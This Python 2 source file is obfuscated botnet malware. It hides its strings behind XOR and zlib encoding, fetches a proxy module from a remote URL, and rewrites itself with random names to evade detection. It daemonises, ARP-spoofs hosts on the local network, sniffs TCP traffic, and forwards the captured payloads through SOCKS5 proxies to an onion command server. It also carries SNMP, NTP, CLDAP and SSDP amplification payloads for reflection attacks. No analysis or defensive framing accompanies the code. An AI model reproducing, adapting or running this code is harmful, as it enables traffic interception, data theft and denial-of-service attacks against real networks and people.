#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import re,socket,subprocess,os,sys,urllib,urllib2,time,threading,random,itertools,platform,multiprocessing,select,ssl,struct,ast,zlib,array
if os.name == 'nt':
    import webbrowser, shutil, psutil
    from ctypes import *
    from _winreg import *
    from win32event import CreateMutex
    from win32api import GetLastError
else:
    import fcntl
from hashlib import sha512
from binascii import unhexlify
from base64 import b64decode,b64encode
from uuid import getnode
global sYzwOvgMi
global CiQOhfkBpGF
global IejsWhGwwhg
global WakXmjBchB
global VVWeRmJNaO
global hBwTHazT
global KloaPwgJ
global KDRidDNaavds
global VkaxyBho
global InPzmdeaiZp
global haaSHFdpgmw
global fqcOyPdmHAJU
global dzQkSapIz
global TaIQaFRwizyh
def alAcOFNUwaW(s):
    hTUdLjqhG = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]
    return ''.join([chr(ord(c) ^ hTUdLjqhG[i % len(hTUdLjqhG)]) for i, c in enumerate(s)])
try:
    import socks
except:
    f=open(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x91\x2b\x24\x77\x93\x5d\x15\x00\x0d\xc6\x02\xa2")), "w")
    f.write(urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x48\x00\xb7\xff\xbc\x43\x7a\x09\x1e\xcd\x58\x73\xea\x4b\xd8\xbb\x56\x9b\x5f\x2e\x8f\x9a\x31\xa7\x52\x7c\x1a\x02\x99\x03\x39\xf6\x5e\x81\xf6\x5e\x9f\x04\x2b\x93\x93\x21\xb0\x58\x7b\x1e\x05\x92\x05\x28\xe1\x05\xfc\xfa\x52\x99\x58\x2f\xaa\x81\x6b\xb9\x56\x7d\x0d\x08\x85\x58\x2f\xf7\x49\xc4\xe6\x1f\x82\x52\x79\x76\x1f\x50"))).read())
    f.close()
    try:
        import socks
    except:
        exit(1)
    try:
        os.remove(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x91\x2b\x24\x77\x93\x5d\x15\x00\x0d\xc6\x02\xa2")))
        os.remove(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x91\x2b\x24\x77\x93\x5d\xf5\x37\x00\x11\x63\x03\x9d")))
    except:
        pass
TaIQaFRwizyh = [alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x67\x13\x1e\x7f\xd8\xbf\x68\xa5\xf0\xfc\xdd\x0c\x07\x24\x6a\x0e\x9d\x28\x7d\x0c\x00\x5d\x69\x09\xb6")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x67\x13\x1e\x7f\xd8\xbf\x68\xa5\xf0\xfc\xdd\x0c\x07\x24\x6a\x0e\x9d\x28\x79\x0a\x00\x5d\x69\x09\xb7")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc3\xaf\xe0\x11\x72\x3e\x32\x65\x15\xcb\xbc\x25\xdc\xa7\xa5\x8b\x4f\x03\x00\x3f\xd9\x07\x63")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc8\xaa\xe0\xe5\x7c\xcc\x2d\x73\x9b\xec\xbc\xf5\x1c\x87\xe4\xca\x00\x36\xb2\x06\x87")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x6f\x1d\x1e\x73\xcc\xa1\x68\xa5\xfc\xec\xdd\xcc\x87\x64\x6a\xce\x9d\x29\x07\x00\x53\xa5\x08\xe7")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x67\x1e\x1e\x73\x2e\x32\x6f\x95\x5c\xe3\x12\x86\x23\x82\xf5\xa7\xce\x96\x00\x00\x52\xf2\x08\xbf")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x6f\x16\x1e\x73\xd0\xb1\x68\xb5\x5c\xe3\x12\xa6\xa3\x82\xf5\xa7\x4e\x94\x00\x00\x51\x4a\x08\x9d")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x68\x1f\x1e\x72\x20\x32\x7b\x25\xcb\xdc\xe5\xdc\xa7\xa5\xcb\x4e\x01\x00\x40\xbe\x07\x77")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc8\xac\xe0\x11\x7d\x2c\x32\x6f\xb5\x70\xe3\x72\x86\x63\x82\xf5\xa7\xce\x96\x00\x00\x4e\xab\x08\x7c")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x6c\x15\x1e\x72\x2c\x32\x7b\x0d\xcb\xdc\x85\x0c\x27\x84\xca\x0e\x9d\x00\x00\x48\x8c\x08\x20")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc6\x6e\x1f\x1e\x79\x3c\x32\x77\x95\x44\xe3\x12\x96\x03\x82\xf5\xa7\xce\x96\x00\x00\x52\x3c\x08\xb0")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x67\x15\x1e\x71\xd3\x2d\x7b\x01\xcb\xbc\x05\x8c\x27\x64\x0b\xce\x00\x00\x41\x1c\x07\x6b")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc3\xa2\xe0\x1d\x73\x20\x32\x6f\x01\xcb\xec\xc5\xdc\xa7\xa5\x8b\x4f\x01\x00\x3e\xf5\x07\x4f")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\x23\x69\xe3\x11\x7b\xd3\x2d\x6b\x35\xcb\xdc\x85\xec\x27\x64\xcb\x4e\x9d\x28\x05\x00\x53\x67\x08\xc6")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xce\xa4\xe0\x11\x72\x34\x32\x77\xa5\x74\xe3\x02\xce\x13\x42\x25\x27\x4e\x02\x00\x46\x2e\x07\xfe")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x6a\x19\x1e\x7b\xd3\xbd\x68\xa5\xc0\xb4\xa5\x2c\x87\x00\x2d\x2e\x06\x24"))]
VVWeRmJNaO=5
hBwTHazT=6
IejsWhGwwhg = []
dzQkSapIz = alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x94\x1a\xce\x35\x8d\x0f\x00\x0b\xd9\x02\x7c"))
fqcOyPdmHAJU = ""
KDRidDNaavds = -1
VkaxyBho = [80, 443, 8080, 8081, 8000, 8443, 8181] 
eefjnuRehdf = [465, 587, 23, 443, 37215, 53, 22, 443, 37215]
InPzmdeaiZp = 0
VkDJLmuU = {
    '\x73\x6e\x6d\x70':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01\x05\x00'),
    '\x6e\x74\x70':('\x17\x00\x02\x2a'+'\x00'*4),
    '\x63\x6c\x64\x61\x70':('\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00\x00'),
    '\x73\x73\x64\x70':(zlib.decompress('\x78\x9c\xf3\xd5\x0d\x76\x75\x0c\x72\xf6\x50\xd0\x52\xf0\x08\x09\x09\xd0\x37\xd4\x33\xe4\xe5\xf2\xc8\x2f\x2e\xb1\x32\x32\xb6\xd4\x33\x32\x35\x85\x62\x03\x2b\x43\x4b\x03\x03\x5e\xae\xe0\x10\xab\xe2\xe2\x94\x02\xab\xc4\x9c\x1c\x5e\x2e\xdf\xc4\x3c\x2b\x25\x30\x37\x25\xb3\x38\x39\xbf\x2c\xb5\x48\x09\x28\x18\x61\x65\xcc\xcb\xc5\xcb\x05\x00\xff\x1b\x17\x04'))
}
global haaSHFdpgmw
try:
    WlGJoVyANFJN = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    WlGJoVyANFJN.connect((alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\x2a\x69\x1f\x1e\x73\xd3\x0d\x00\x0c\x83\x03\x10")), 53))
    haaSHFdpgmw=WlGJoVyANFJN.getsockname()[0]
    WlGJoVyANFJN.close()
except:
    haaSHFdpgmw=""
def anzmaUlxihk():
    pudTYoHalK=[]
    fh=open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xed\x5e\x23\xc6\x77\x43\xd2\xf2\x0d\xeb\xb9\xe7\x8e\x00\x28\xbc\x05\xf4")), "rb")
    asNAqNaKybo=fh.readlines()
    fh.close()
    asNAqNaKybo.pop(0)
    for x in asNAqNaKybo:
        x=x.split()
        if x[2]=="0x2":
            if x[0] != haaSHFdpgmw:
                pudTYoHalK.append((x[0], x[3]))
    return pudTYoHalK
def ycccUpgOVc():
    luVgTCFgoC = hex(getnode())[2:-1]
    while (len(luVgTCFgoC) != 12):
        luVgTCFgoC = "0" + luVgTCFgoC
    return unhexlify(luVgTCFgoC)
global ampoNiAli
ampoNiAli=ycccUpgOVc().encode('hex')
def usdFdFOpT():
    with open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xed\x5e\x23\xc6\x77\x43\xd2\xf2\x0d\xeb\xdd\x5f\x2e\x6d\x7e\x00\x36\x9e\x06\xed"))) as fh:
        for line in fh:
            FiAGhaDOVoQ = line.strip().split()
            if FiAGhaDOVoQ[1] != alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc2\x6e\xe7\x19\x7b\xdc\x3d\x07\x00\x0e\xfd\x03\x4a")) or not int(FiAGhaDOVoQ[3], 16) & 2:
                continue
            return socket.inet_ntoa(struct.pack("<L", int(FiAGhaDOVoQ[2], 16)))
def EDzBaKacn():
    if os.name == 'nt':
        return ""
    BHFUmWpmco = 128 * 32
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    cihvgDEI = array.array('B', '\0' * BHFUmWpmco)
    vFXxgAvEidTl = struct.unpack('iL', fcntl.ioctl(
        s.fileno(),
        0x8912,
        struct.pack('iL', BHFUmWpmco, cihvgDEI.buffer_info()[0])
    ))[0]
    aOheoHBYH = cihvgDEI.tostring()
    lst = []
    for i in range(0, vFXxgAvEidTl, 40):
        lst.append(aOheoHBYH[i:i+16].split('\0', 1)[0])
    return lst
def pudTYoHalK(dCdYwYUKo):
    global ampoNiAli
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
    s.bind((dCdYwYUKo, 0))
    while(1):
        for LlUiPJNuQSPf in anzmaUlxihk():
            zaniZDGWjDas = ampoNiAli
            AiflpcABGfHm = LlUiPJNuQSPf[0]
            bUicvSChp = usdFdFOpT()
            uJoMdoYf = LlUiPJNuQSPf[1]
            BSclSFwpXuYI = "\x00\x00\x00\x00\x00\x00"
            dWmmEhail = "\x00\x01\x08\x00\x06\x04\x00\x02"
            DoFggcdMCGoT = "\x00\x00\x00\x00"
            AqNaSCinia = "\x08\x06"
            s.send(AiflpcABGfHm + zaniZDGWjDas + AqNaSCinia + dWmmEhail+zaniZDGWjDas + bUicvSChp
                   + BSclSFwpXuYI + uJoMdoYf + DoFggcdMCGoT)
        time.sleep(2)
def ZiJnLijZbLOC():
    if os.name == 'nt':
        return 1
    try:
        pid = os.fork()
        if pid > 0:
            sys.exit(0)
    except OSError:
        return 0
    os.setsid()
    os.umask(0)
    try:
        pid = os.fork()
        if pid > 0:
            sys.exit(0)
    except OSError:
        return 0
    return 1
def UayLnYWs(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff
    return s
global adeaNPjj
adeaNPjj=os.path.realpath(__file__)
RZcMxihobA=open(adeaNPjj,"rb")
cAQJydFUwln=RZcMxihobA.read()
RZcMxihobA.close()
class djioJcdcoaQu(ast.NodeVisitor):
    def chodCRyaAnak(self, node): 
        try:
            uIDNaUiAuuf=cAQJydFUwln.split("\n")[node.lineno-1]
            VxhzdElyD=uIDNaUiAuuf[node.col_offset:node.col_offset+len(node.s)+2][0]
            LNpTbUOi=eval(repr(VxhzdElyD + "".join(uIDNaUiAuuf[node.col_offset+1:node.col_offset+len(node.s)+len(uIDNaUiAuuf[node.col_offset-1:node.col_offset+len(node.s)+1].split(uIDNaUiAuuf[node.col_offset+1:node.col_offset+len(node.s)+2][0])[0])+4][:uIDNaUiAuuf[node.col_offset+1:node.col_offset+len(node.s)+len(uIDNaUiAuuf[node.col_offset-1:node.col_offset+len(node.s)+2].split(uIDNaUiAuuf[node.col_offset+1:node.col_offset+len(node.s)+2][0])[0])+4].find(VxhzdElyD)]) + VxhzdElyD))
            if len(LNpTbUOi)>=hBwTHazT and "\\x" not in LNpTbUOi and LNpTbUOi not in IejsWhGwwhg and "zlib" not in uIDNaUiAuuf:
                IejsWhGwwhg.append(LNpTbUOi)
        except:
            pass
def KTadhzIPPpv(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff
    return s
class BTzeZVUeZ(object):
    def __init__(self, HNzhBXCKV, LBnhaacsjNLY, dWmmEhail='', gGBhpmocaC=socket.IPPROTO_UDP):
        self.PhcTPxcnsUs = 4
        self.ihl = 5
        self.tos = 0
        self.tl = 20+len(dWmmEhail)
        self.id = 0
        self.yQvPKMSH = 0
        self.offset = 0
        self.ttl = 255
        self.GasdbnucAQma = gGBhpmocaC
        self.UayLnYWs = 2
        self.HNzhBXCKV = socket.inet_aton(HNzhBXCKV)
        self.LBnhaacsjNLY = socket.inet_aton(LBnhaacsjNLY)
    def vdadgPSSFR(self):
        uiAnKKWHfSw = (self.PhcTPxcnsUs << 4) + self.ihl
        VLBpuuYo = (self.yQvPKMSH << 13) + self.offset
        TlmjAmcD = struct.pack(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x5a\xea\x63\xa8\xba\xdf\x54\xee\x82\xdc\x9d\x85\x4e\x00\x29\x34\x05\xcc")),
                    uiAnKKWHfSw,
                    self.tos,
                    self.tl,
                    self.id,
                    VLBpuuYo,
                    self.ttl,
                    self.GasdbnucAQma,
                    self.UayLnYWs,
                    self.HNzhBXCKV,
                    self.LBnhaacsjNLY)
        self.UayLnYWs = KTadhzIPPpv(TlmjAmcD)
        TlmjAmcD = struct.pack(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x5a\xea\x63\xa8\xba\xdf\x54\xee\x82\xdc\x9d\x85\x4e\x00\x29\x34\x05\xcc")),
                    uiAnKKWHfSw,
                    self.tos,
                    self.tl,
                    self.id,
                    VLBpuuYo,
                    self.ttl,
                    self.GasdbnucAQma,
                    socket.htons(self.UayLnYWs),
                    self.HNzhBXCKV,
                    self.LBnhaacsjNLY)  
        return TlmjAmcD
class bBiKHqciJevc(object):
    def __init__(self, src, dst, dWmmEhail=''):
        self.src = src
        self.dst = dst
        self.dWmmEhail = dWmmEhail
        self.UayLnYWs = 0
        self.jCzHvRglDF = 8
    def vdadgPSSFR(self, src, dst, gGBhpmocaC=socket.IPPROTO_UDP):
        jCzHvRglDF = self.jCzHvRglDF + len(self.dWmmEhail)
        EbRjMMoc = struct.pack(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xca\x5c\xeb\x2b\xb7\xd5\x54\x04\x00\x0f\x49\x02\xdf")),
            socket.inet_aton(src), socket.inet_aton(dst), 0, 
            gGBhpmocaC, jCzHvRglDF)
        self.UayLnYWs = KTadhzIPPpv(EbRjMMoc)
        igFvcxYc = struct.pack(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x5a\xef\x66\xa8\x0a\x00\x08\x23\x02\x11")),
            self.src, self.dst, jCzHvRglDF, 0)
        return igFvcxYc
class xJEGcCOOPd():
    def SFKXTZwdOdE(self, hwgIiCUUqlhq):
        if not hwgIiCUUqlhq:
            return False
        try:
            hwgIiCUUqlhq.getsockname()
        except socket.error as err:
            return False
        try:
            hwgIiCUUqlhq.getpeername()
        except socket.error as err:
            return False
        return True
    def SFdFSJzo(self,IzoqEaQRggS):
        return ''.join(random.choice(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x3a\x00\xc5\xff\xb5\x55\x6d\x1d\x08\x91\x10\x34\xf1\x40\xc4\xf9\x5c\x9c\x44\x36\x8b\x97\x25\xa7\x56\x6a\x10\x05\x94\x18\x29\xee\x5d\xd7\xec\x4b\xb3\x69\x05\xbe\xbd\x02\x93\x7f\x47\x33\x26\xbb\x3a\x12\xd7\x7a\xfe\xc7\x62\xa6\x7e\x10\xad\xa0\x1d\x8e\xde\x9e\x19\xbe"))) for _ in range(IzoqEaQRggS))
    def loejODvkGTF(self,s):
        ch = (ord(c) for c in s)
        return ''.join(('\\x%02x' % c) if c <= 255 else (alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x70\xd2\xf6\x8c\xec\x07\x00\x07\x48\x02\x27")) % c) for c in ch)
    def LWkEKcaBad(self):
        sYzwOvgMi = []
        CiQOhfkBpGF = []
        KloaPwgJ = []
        RZcMxihobA=open(adeaNPjj,"rb")
        cAQJydFUwln=WakXmjBchB=RZcMxihobA.read()
        RZcMxihobA.close()
        p = ast.parse(cAQJydFUwln)
        djioJcdcoaQu().visit(p)
        for jigCsnQoW in sorted(IejsWhGwwhg, key=len, reverse=True):
            if len(jigCsnQoW)>=hBwTHazT:
                try:
                    if (jigCsnQoW[0] == "'" and jigCsnQoW[-1] == "'") or (jigCsnQoW[0] == '"' and jigCsnQoW[-1] == '"'):
                        WakXmjBchB=WakXmjBchB.replace(jigCsnQoW, "alAcOFNUwaW(zlib.decompress(\x22"+self.loejODvkGTF(zlib.compress(alAcOFNUwaW(jigCsnQoW[1:-1].decode('string_escape'))))+"\x22))")
                    else:
                        WakXmjBchB=WakXmjBchB.replace(jigCsnQoW, "alAcOFNUwaW(zlib.decompress(\x22"+self.loejODvkGTF(zlib.compress(alAcOFNUwaW(eval(jigCsnQoW).decode('string_escape'))))+"\x22))")
                except:
                    pass
        KloaPwgJ = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
        sYzwOvgMi = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
        for pHcTvfsEaniR in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
            CiQOhfkBpGF.append(pHcTvfsEaniR.name)
        KloaPwgJ = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
        for vQgHRpGXFS in KloaPwgJ:
            for pHcTvfsEaniR in [n for n in vQgHRpGXFS.body if isinstance(n, ast.FunctionDef)]:
                if pHcTvfsEaniR.name != alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xce\x48\x17\x67\x69\xd6\x60\x06\x00\x0c\x01\x02\x24")) and pHcTvfsEaniR not in CiQOhfkBpGF:
                    CiQOhfkBpGF.append(pHcTvfsEaniR.name)
        hkoCUiZl=[]
        alls=[]
        for i in range(len(CiQOhfkBpGF)+len(sYzwOvgMi)+len(KloaPwgJ)):
            YSxZiKdTdi = self.SFdFSJzo(random.randint(8,12))
            while YSxZiKdTdi in hkoCUiZl:
                YSxZiKdTdi = self.SFdFSJzo(random.randint(8,12))
            hkoCUiZl.append(YSxZiKdTdi)
        DkcWOgQGijz=0
        for EsgNabRoBAxn in sorted(sYzwOvgMi, key=len, reverse=True):
            if len(EsgNabRoBAxn) >= VVWeRmJNaO and EsgNabRoBAxn != alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x94\x24\x0f\x00\x04\x79\x01\x7b")) and not EsgNabRoBAxn.startswith("__"):
                WakXmjBchB=WakXmjBchB.replace(EsgNabRoBAxn, hkoCUiZl[DkcWOgQGijz])
            DkcWOgQGijz+=1
        for pHcTvfsEaniR in sorted(CiQOhfkBpGF, key=len, reverse=True):
            WakXmjBchB=WakXmjBchB.replace(pHcTvfsEaniR, hkoCUiZl[DkcWOgQGijz])
            DkcWOgQGijz+=1
        for vQgHRpGXFS in KloaPwgJ:
            alls.append(hkoCUiZl[DkcWOgQGijz])
            WakXmjBchB=WakXmjBchB.replace(vQgHRpGXFS.name, hkoCUiZl[DkcWOgQGijz])
            DkcWOgQGijz+=1
        zsLapBWuUbS=open(adeaNPjj,"wb")
        zsLapBWuUbS.write(WakXmjBchB)
        zsLapBWuUbS.close()
    def oTbKcIjY(self, strg):
        return zlib.decompress(strg)
    def ozSqUYZCxPwn(self):
        if os.name == 'nt':
            return
        global TaIQaFRwizyh
        up = 0
        for dCdYwYUKo in EDzBaKacn():
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                TlIykgCZbdi = fcntl.ioctl(s.fileno(), 0x8913, dCdYwYUKo + '\0'*256)
                yQvPKMSH, = struct.unpack('H', TlIykgCZbdi[16:18])
                up = yQvPKMSH & 1
            except:
                pass
            if up == 1:
                threading.Thread(target=pudTYoHalK, args=(dCdYwYUKo,)).start()
                break
        try:
            s=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        except:
            return
        Lhzcvysaue = 0
        ss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        while True:
            try:
                while self.snifferenabled == 0:
                    time.sleep(1)
                if not self.SFKXTZwdOdE(ss):
                    try:
                        NiyMnWhfz = random.choice(TaIQaFRwizyh)
                        ss=socks.socksocket()
                        ss.setproxy(socks.PROXY_TYPE_SOCKS5, NiyMnWhfz.split(":")[0], int(NiyMnWhfz.split(":")[1]), True)
                        ss.connect((self.onionserver, 1337))
                    except:
                        time.sleep(10)
                igFvcxYc = s.recvfrom(65565)
                Lhzcvysaue=Lhzcvysaue+1
                igFvcxYc=igFvcxYc[0]
                LabGhaPMkclK = 14
                NRopjhZv = igFvcxYc[:LabGhaPMkclK]
                BLylpKlBaoN  =  struct.unpack(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xca\x58\xeb\x2f\xb7\x1f\x00\x09\xa5\x02\xa0")),NRopjhZv)
                hPyJJinl = socket.ntohs(BLylpKlBaoN[2])
                TlmjAmcD = igFvcxYc[0:20]
                wEKoNywIc = struct.unpack(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x5a\xea\x63\xa8\xba\xdf\x54\xee\x82\xdc\x9d\x85\x4e\x00\x29\x34\x05\xcc")),TlmjAmcD)
                okzEDxqixPcI= wEKoNywIc[0] 
                PhcTPxcnsUs = okzEDxqixPcI >> 4 
                ih1 = okzEDxqixPcI & 0xF
                xoimzacIeBIT = ih1*4
                ttl = wEKoNywIc[5]
                GasdbnucAQma = wEKoNywIc[6]
                aYYSwivikzN = socket.inet_ntoa(wEKoNywIc[8])
                ouZyKkmoHa = socket.inet_ntoa(wEKoNywIc[9])
                fbTsqhgxm = igFvcxYc[xoimzacIeBIT:xoimzacIeBIT+20]
                tcph = struct.unpack(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x5a\xef\x66\xaa\xb8\xd5\x54\xe4\x42\x12\x00\x19\x17\x04\x41")),fbTsqhgxm)
                UOgiXBbMuNe = tcph[0]
                kcdcwHYDKpQ = tcph[1]
                azoEhUboP = tcph[2]
                XuWqLAnLEgpd = tcph[3]
                WdfLGIoazfK = tcph[4]
                EFjfUgUdV = WdfLGIoazfK >> 4
                oainhLBsgAIh = xoimzacIeBIT+EFjfUgUdV*4
                aSziXRlds = len(igFvcxYc)-oainhLBsgAIh
                data = igFvcxYc[oainhLBsgAIh:]
                if len(data) > 2 and src_port not in eefjnuRehdf and kcdcwHYDKpQ not in eefjnuRehdf and ouZyKkmoHa not in self.scanips and aYYSwivikzN not in self.scanips:
                    try:
                        ss.send("IPv"+str(PhcTPxcnsUs)+ alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\xe7\x5c\x25\x1a\x0e\x00\x07\x56\x02\x08"))+str(ttl)+alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\xe7\x5e\x23\x26\x39\xc3\x17\x00\x0c\x4f\x02\xb6"))+str(GasdbnucAQma)+alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\xe7\x52\x23\xc5\xd2\xee\x0b\x00\x0b\xec\x02\x91"))+str(aYYSwivikzN)+alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x17\x5c\xcb\xcb\xd2\xee\x0b\x00\x0c\x17\x02\x94"))+str(ouZyKkmoHa)+alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x67\x5b\xcb\xcd\xd7\xce\xaa\xb1\x08\x00\x10\xcf\x03\x08"))+str(UOgiXBbMuNe)+alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x17\x5c\xcb\x2b\xdb\xca\x9c\x06\x00\x0e\xdb\x02\xc7"))+str(kcdcwHYDKpQ)+alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x57\xea\x6d\xa7\xb2\xb3\x16\x00\x0d\xa1\x03\x37"))+data+alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x57\xe4\x60\x9b\x0e\x00\x07\xc4\x02\x35")))
                    except:
                        pass
            except:
                pass
    def __init__(self):
        global fqcOyPdmHAJU
        sys.stdout = sys.stderr = open(os.devnull,'wb')
        self.LWkEKcaBad()
        random.seed(a=int(time.time())*os.getpid())
        fqcOyPdmHAJU=socket.gethostbyname(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x94\x1a\xce\x35\x8d\x0f\x00\x0b\xd9\x02\x7c")))
        self.onionserver=alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x3e\x00\xc1\xff\xb2\x56\x79\x4f\x5f\xc4\x04\x37\xf9\x1f\xca\xe3\x58\x82\x5d\x27\x88\x97\x26\xbc\x47\x74\x0c\x59\x99\x03\x33\xea\x5f\x9a\xe3\x07\x9b\x4a\x73\xce\xcc\x70\xbf\x45\x7c\x4f\x09\x92\x12\x2e\xfc\x44\xd9\xe5\x50\xc1\x5b\x71\x9b\x9c\x6a\xbb\x59\x67\x16\x03\x79\x7e\x1c\x2b"))
        self.AJEwioE=alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1e\x58\x23\xc3\x33\x87\xcf\xf8\x9b\xf3\x81\xdf\xde\x00\x28\x0b\x06\x09"))
        self.Ajiowfe=alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x94\xe4\x6b\x64\xb5\xdf\x8e\xe3\x6e\xd2\xbb\x83\xd9\x00\x25\xc6\x06\x0c"))
        self.CXVueUcx=alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x80\x00\x7f\xff\xb0\x54\x37\x4a\x5c\xc7\x15\x65\xad\x4b\xcd\xad\x00\x91\x1d\x76\xc2\x9b\x70\xe6\x06\x39\x4a\x54\x92\x4e\x3d\xac\x13\xcb\xad\x01\xc0\x4e\x22\xc9\xc1\x7c\xed\x05\x39\x4e\x5e\xcf\x43\x69\xad\x18\x96\xa2\x09\xc0\x13\x27\x9e\xc9\x74\xe7\x0e\x39\x4b\x5c\xc3\x4f\x3a\xf9\x49\x98\xf7\x06\xc7\x48\x23\xc2\x99\x26\xb7\x03\x3b\x40\x5f\xce\x4e\x6c\xaa\x1d\x9b\xa7\x07\x90\x1e\x7e\x9e\x9e\x76\xe5\x52\x38\x4c\x0e\xc0\x11\x69\xfd\x4f\xcb\xa6\x01\xcb\x4e\x74\xcf\xc0\x73\xe7\x52\x3c\x18\x59\x95\x41\x65\xa0\x4b\x9e\xf4\x53\xca\x37\x8e\x39\xc1"))
        self.prefiex="!"
        self.AnKeMnXc=alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x18\x9a\x24\xc6\x37\x27\x4a\xef\xaf\xcf\xa9\xe7\x21\x0d\xac\x4a\xf3\xfb\x00\x47\x42\x07\xc3"))
        self.ctx = ssl.create_default_context()
        self.ctx.check_hostname = False
        self.ctx.verify_mode = ssl.CERT_NONE
        self.VwkBkdwM=self.SFdFSJzo(random.randrange(8,16))
        self.gLsaWmlh=0
        self.XUbvPqib=0
        self.VSoeKsdv=0
        self.AELmEnMe=0
        self.prefiex="."
        self.EQGAKLwR=420
        self.xJibnhHhdPbstats={alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1c\x56\x2e\xcd\xd4\xcc\x02\x00\x0a\xbf\x02\x25")):[0,0]}
        self.scannerenabled = 1
        self.snifferenabled = 0
        self.scanips=[]
        threading.Thread(target=self.mdMkKhLJMbhz).start()
        threading.Thread(target=self.ozSqUYZCxPwn).start()
        self.hLqhZnCt=alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xaf\xf7\x57\x14\x04\x00\x06\x0c\x01\x90"))+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.VwkBkdwM)
        self.aRHRPteL=alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xaf\xf7\x57\x14\x04\x00\x06\x0c\x01\x90"))+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.VwkBkdwM)
        self.pBYbuWVq=str(self.VwkBkdwM)
